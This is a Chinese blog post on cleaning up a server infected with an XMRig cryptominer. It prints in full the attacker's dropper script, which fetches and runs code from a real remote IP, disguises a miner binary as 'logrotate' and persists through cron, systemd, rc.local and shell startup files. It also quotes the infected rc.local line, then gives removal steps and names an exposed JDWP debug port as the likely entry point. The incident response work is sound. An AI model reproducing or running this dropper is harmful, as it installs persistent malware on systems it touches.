记一次服务器被入侵(木马,挖矿)的排查过程
起因阿里云安全中心报告了告警信息同时手机短信、邮件、电话也接收到了来自阿里云的风险通知感觉这方面阿里云还是不错。排查及解决过程这条wget指令究竟是怎么被运行的我无法定位到攻击人员是通过什么样的方式让我的java程序执行了wget这条指令的已开始我以为跟我的程序中引用的jar远程代码执行漏洞有关我找了可能会有这个漏洞的两个程序log4j和jackson但是我的程序里面使用的均是修复了之后的版本所以暂时原因未知病毒脚本解释首先我下载了这个病毒脚本他的内容如下。仅用于展示请勿传播病毒程序#!/bin/sh{pkill-fxmrig||kill-9$(pgrep-fxmrig);}/dev/null21ps-eopid,%cpu,comm--sort-%cpu|awkNR1 !/awk|ps/ !($3 ~ /^(logrotate|sshd|java)$/) int($2) 60 { system(kill -9 $1) }EXECsource (wget -q -O - http://185.196.8.123:8080/logservice.sh || curl -sL http://185.196.8.123:8080/logservice.sh)traprm -- $0EXITif[-z${HOMEx}];thenexportHOME/tmpfimkdir-p$HOME/.config/dev/null21[!-f$HOME/.config/logrotate]{ARCH$(uname-m)URL[$ARCHx86_64]URLhttp://185.196.8.123:8080/silicon64blueprints.png[$ARCHaarch64]URLhttp://185.196.8.123:8080/siliconarmblueprints.png[-z$URL]URLhttp://185.196.8.123:8080/silicon64blueprints.png{wget-q-O$HOME/.config/logrotate$URL||curl-sL-o$HOME/.config/logrotate$URL;}/dev/null21chmodx$HOME/.config/logrotate/dev/null21}pgrep-fconfig/logrotate/dev/null21||$HOME/.config/logrotateadd_to_startup(){if[-r$1];thenif!grep-Fxq$EXEC/dev/null 21$1;thenecho$EXEC/dev/null 21$1fifi}case$(ps-p$$-ocomm)inbash)add_to_startup$HOME/.bashrcadd_to_startup$HOME/.bash_logout;;zsh)add_to_startup$HOME/.zshrc;;esac[$(id-u)-eq0]{RCLOCAL[-e/etc/debian_version]RCLOCAL/etc/rc.local[-e/etc/centos-release-o-e/etc/redhat-release]RCLOCAL/etc/rc.d/rc.local[-n$RCLOCAL]add_to_startup$RCLOCALcat/etc/systemd/system/logrotate.serviceEOL [Unit] DescriptionThe logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart$HOME/.config/logrotate Restartalways Nice-20 StandardOutputnull [Install] WantedBymulti-user.target EOLsudosystemctl daemon-reload2/dev/nullsudosystemctlenablelogrotate.service2/dev/null[-d/var/spool/cron][-f/var/spool/cron/root]echodaily$EXEC/var/spool/cron/root2/dev/null[-d/var/spool/cron/crontabs][-f/var/spool/cron/crontabs/root]echodaily$EXEC/var/spool/cron/crontabs/root2/dev/null[-f/etc/crontab]echodaily$EXEC/etc/crontab2/dev/nullsudochattr i /etc/crontab2/dev/null[-d/etc/cron.hourly]echo$EXEC/etc/cron.hourly/logrotate2/dev/nullsudochmodx /etc/cron.hourly/logrotate2/dev/nullsudochattr i /etc/cron.hourly/logrotate2/dev/null[-d/etc/cron.daily]echo$EXEC/etc/cron.daily/logrotate2/dev/nullsudochmodx /etc/cron.daily/logrotate2/dev/nullsudochattr i /etc/cron.daily/logrotate2/dev/null[-d/etc/cron.weekly]echo$EXEC/etc/cron.weekly/logrotate2/dev/nullsudochmodx /etc/cron.weekly/logrotate2/dev/nullsudochattr i /etc/cron.weekly/logrotate2/dev/null[-d/etc/cron.monthly]echo$EXEC/etc/cron.monthly/logrotate2/dev/nullsudochmodx /etc/cron.monthly/logrotate2/dev/nullsudochattr i /etc/cron.monthly/logrotate2/dev/null[-d/etc/cron.yearly]echo$EXEC/etc/cron.yearly/logrotate2/dev/nullsudochmodx /etc/cron.yearly/logrotate2/dev/nullsudochattr i /etc/cron.yearly/logrotate2/dev/null}这段脚本的大概解释终止之前的xmrig实例尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序并将任何错误或输出重定向到/dev/null有效地将它们静音。终止高CPU使用率的进程通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。下载并执行远程脚本设置一个变量EXEC用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本logservice.sh。设置环境确保设置了HOME环境变量如果未设置默认为/tmp并在HOME下准备一个.config目录。根据架构下载并执行二进制文件检查系统架构并从同一远程服务器下载特定文件假定为二进制文件将其作为logrotate保存在.config目录中然后使其可执行。持久性机制将远程脚本执行添加到Bash和Zsh shell的启动文件中以便每次启动shell会话时都会执行它。还试图将此脚本插入各种系统级cron目录和systemd服务中以确保它持续运行或定期检查这有效地使其更难以移除并确保它定期运行。Cron和Systemd操纵设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件并尝试将执行命令添加到不同频率的各种cron目录每小时、每天、每周、每月、每年中并使用chattr i命令使这些脚本变为不可更改。也就是说这段脚本会采用定时任务和开机启动项等方式去远程下载一些文件并把他们伪造成正常的logrotate服务来运行查杀知道了脚本的运作机制就好解决了1. 删除病毒文件使用ps -ef|grep logrotate可以看到这个病毒的目录去把对应的文件删掉先把他kill掉kill-916006然后删除文件rm-rf/root/.config/logrotate使用top命令找到名称为logrotate的服务这个占用了大量CPU把服务结束掉kill -9 id有可能在删除了病毒文件之后top这里就看不到这个进程了2. 清除定时任务我们现在已经把当前服务杀了然后也删除了病毒文件现在我们要把病毒脚本添加定时任务给清除清除用户定时任务使用crontab -l会列出所有当前用户的定时任务使用crontab -e把相关任务删掉保存需要注意的是如果定时任务不在root用户则使用此命令看不到清除系统级别定时任务rm-rf/etc/cron.hourly/logrotate;rm-rf/etc/cron.daily/logrotate;rm-rf/etc/cron.weekly/logrotate;rm-rf/etc/cron.monthly/logrotate;rm-rf/etc/cron.yearly/logrotate;直接删可能删不掉需要先执行命令解锁# 先用这个命令看看lsattr 文件# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-ichattr-ai/etc/cron.hourly/logrotate;chattr-ai/etc/cron.daily/logrotate;chattr-ai/etc/cron.weekly/logrotate;chattr-ai/etc/cron.monthly/logrotate;chattr-ai/etc/cron.yearly/logrotate;然后就可以删除了3. 清除服务# 先使用这个命令查看是否有服务systemctl list-unit-files|greplogrotate.service# 然后清除服务systemctl disable logrotate.service4. 清除开机启动项可以看到脚本中是会把命令写到如下文件中先看看$HOME是哪个路径echo$HOME编辑这些文件把异常信息删掉。到此所有的清除工作就结束了修改下密码重启服务器应该就可以了最后就是要搞清楚那个wget命令是如何被执行的260814补充之前没注意/etc/rc.d/rc.local也被感染了,其内容如下#!/bin/bash/data/dbAuditAgent/dbagent2.28/dbMonitor1/dev/null21# DBaudit_dbagent_V2018101600# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES## It is highly advisable to create own systemd services or udev rules# to run scripts during boot instead of using this file.## In contrast to previous versions due to parallel execution during boot# this script will NOT be run after all other services.## Please note that you must run chmod x /etc/rc.d/rc.local to ensure# that this script will be executed during boot.touch/var/lock/subsys/local#svn autostart/root/svn.sshexit0source(wget-q-O- http://185.196.8.123/logservice.sh||curl-sLhttp://185.196.8.123/logservice.sh)/dev/null21最后一行source (wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh) /dev/null 21就是有问题解决办法就是把这行删了就行了我是如何被攻击的经过一些排查猜测是由于应用开启了远程调试且忘记关闭引起的具体连接看JDWP调试接口RCE漏洞介绍参考https://blog.csdn.net/qq_47831505/article/details/123939089

相关新闻

boolinq完全指南:从安装到精通,一站式掌握C++ LINQ编程

boolinq完全指南:从安装到精通,一站式掌握C++ LINQ编程

boolinq完全指南:从安装到精通,一站式掌握C LINQ编程 【免费下载链接】boolinq Simplest C header-only LINQ template library 项目地址: https://gitcode.com/gh_mirrors/bo/boolinq boolinq是一个超轻量级的C11单文件头文件LINQ模板库&#xf…

2026/10/2 13:19:08 阅读更多 →
公共 Tracker 亲测对决:一份 trackerslist,把 BT 下载从 20KB/s 拽回满速

公共 Tracker 亲测对决:一份 trackerslist,把 BT 下载从 20KB/s 拽回满速

公共 Tracker 亲测对决:一份 trackerslist,把 BT 下载从 20KB/s 拽回满速 【免费下载链接】trackerslist Updated list of public BitTorrent trackers 项目地址: https://gitcode.com/GitHub_Trending/tr/trackerslist 上周四深夜,我…

2026/10/12 20:11:40 阅读更多 →
CloudBase Framework 安装教程:3 步搞定云原生应用一键部署,从此告别手动配置

CloudBase Framework 安装教程:3 步搞定云原生应用一键部署,从此告别手动配置

CloudBase Framework 安装教程:3 步搞定云原生应用一键部署,从此告别手动配置 【免费下载链接】cloudbase-framework 腾讯云开发云原生一体化部署工具 🚀 CloudBase Framework:一键部署,不限框架语言,云端…

2026/10/2 6:59:09 阅读更多 →

最新新闻

微信小程序云开发超市库存管理系统源码解析与二次开发指南

微信小程序云开发超市库存管理系统源码解析与二次开发指南

最近我拆了一套微信小程序超市库存管理系统,也就是标题里那个71788编号的源码包。整套系统基于微信小程序云开发实现,包含商品管理、入库出库、库存预警、供应商管理和基础报表,完成度比预想中高不少,适合做小程序进销存项目的参考…

2026/10/14 5:13:02 阅读更多 →
CentOS 8.0安装Oracle 12cR2全流程指南:兼容性处理与高频报错排查

CentOS 8.0安装Oracle 12cR2全流程指南:兼容性处理与高频报错排查

CentOS 8.0 和 Oracle 12c Release 2 天生就有个时间差:12.2.0.1 发布时还是 Red Hat 7 的时代,CentOS 8 的发行说明里根本没有它的一席之地。我最初以为无非是装几个依赖包的事,结果真正动手时才发现,光是缺少 compat-libstdc-33…

2026/10/14 5:13:02 阅读更多 →
告别AI应用廉价感:5个可落地的设计决策

告别AI应用廉价感:5个可落地的设计决策

我常年看别人拿AI代码工具做产品,发现一个特别有意思的现象:功能跑得通,界面也齐全,但成品一眼看过去就是“便宜货”。那种感觉就像用了最新款的厨具,做出来的菜却带着食堂味。很多人归咎于自己不会审美,但…

2026/10/14 5:13:02 阅读更多 →
数据提取完整实践复盘:从需求拆解到稳定落地全流程

数据提取完整实践复盘:从需求拆解到稳定落地全流程

一个"数据提取_1"引发的完整实践复盘:从需求拆解到稳定落地的全流程"数据提取_1"这个标题,乍看像是一个临时命名的脚本文件或者项目目录,但做过数据处理的人都知道,这背后往往是一个"看起来简单&#xf…

2026/10/14 5:13:02 阅读更多 →
长活动按声音对齐后片尾漂移,起点通过不代表整段同步

长活动按声音对齐后片尾漂移,起点通过不代表整段同步

多机位视频可在剪映专业版当前支持的同步流程尝试按声音对齐,再人工检查整段。长活动的片头对上了,片尾口型或动作却落后,应先看连续录制区间、素材时长与后期处理,不把一次自动匹配通过当作全程同步。声音定位能帮助起点判断&…

2026/10/14 5:13:02 阅读更多 →
EPLAN电气项目图纸高效读图与安全复用指南

EPLAN电气项目图纸高效读图与安全复用指南

做电气设计这些年,我经手过不少EPLAN项目文件,有自己从头画的,也有从同行手里拿到后二次改造的。一个很直观的体会是:同样是"分享图纸",文件与文件之间的价值差距可以非常大。有的图纸打开就能当标准模板用&…

2026/10/14 5:12:02 阅读更多 →

日新闻

AnyPS5通用适配层设计:兼容性与性能的工程取舍

AnyPS5通用适配层设计:兼容性与性能的工程取舍

1. 从"AnyPS5"这个名字说起:它到底想解决什么问题第一次看到"AnyPS5"这个标题,我脑子里冒出来的第一个念头是:这大概率是一个围绕"跨平台运行"或者"通用适配"做文章的项目。名字里的"Any"…

2026/10/14 0:00:41 阅读更多 →
Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

1. 项目概述:Flutter跨平台二手交易应用开发作为一名长期从事移动应用开发的工程师,我最近完成了一个基于Flutter框架的二手物品交易平台项目。这个项目最吸引我的地方在于它完美结合了Flutter的跨平台优势与HarmonyOS的生态特性,实现了"…

2026/10/14 0:00:41 阅读更多 →
DFS算法解决飞机降落调度问题实战

DFS算法解决飞机降落调度问题实战

1. 项目背景与核心思路飞机降落问题是一个经典的调度优化场景,也是算法竞赛和面试中的高频题目。这个题目要求我们合理安排多架飞机的降落顺序和时间,确保所有飞机都能安全着陆而不发生冲突。在实际航空管制中,这类问题直接关系到飞行安全和机…

2026/10/14 0:00:41 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/14 3:30:28 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/13 16:22:04 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/14 3:29:58 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 22:01:27 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 14:57:39 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →